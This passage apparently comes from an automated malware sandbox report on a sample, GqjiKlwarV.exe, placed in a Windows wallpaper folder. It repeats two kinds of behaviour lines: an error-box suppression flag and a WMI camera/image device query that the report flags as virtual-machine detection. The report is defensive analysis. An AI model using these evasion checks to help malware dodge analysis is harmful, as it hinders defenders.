Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
